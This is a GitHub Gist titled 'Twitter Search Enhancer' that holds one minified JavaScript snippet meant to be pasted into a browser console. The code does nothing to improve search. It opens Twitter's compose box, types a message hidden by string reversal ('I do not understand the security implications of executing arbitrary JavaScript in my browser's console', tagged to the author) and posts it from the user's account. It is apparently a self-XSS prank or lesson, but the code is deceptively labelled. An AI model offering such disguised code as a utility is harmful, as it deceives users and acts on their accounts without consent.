Last active
November 24, 2022 08:39
-
-
Save umanghome/cedb3f7d62ee38993d1446070d65e9a2 to your computer and use it in GitHub Desktop.
Twitter Search Enhancer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!function(){function e(e,t){return new Promise(n=>setTimeout(()=>n(t),e))}!function t(){let n=document.querySelector('a[href="/compose/tweet"]');n.click(),e(500).then(()=>{let t=document.querySelector(".public-DraftEditor-content[contenteditable=true]"),n=new Event("textInput",{bubbles:!0});return n.data="emohgnamu@ // elosnoc s'resworb ym ni tpircSavaJ yrartibra gnitucexe fo snoitacilpmi ytiruces eht dnatsrednu ton od I".split("").reverse().join(""),t.dispatchEvent(n),e(500,{input:t})}).then(({input:e})=>{let t=e.closest("[role=dialog]"),n=t.querySelector("[data-testid=tweetButton]");n.click()})}()}(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment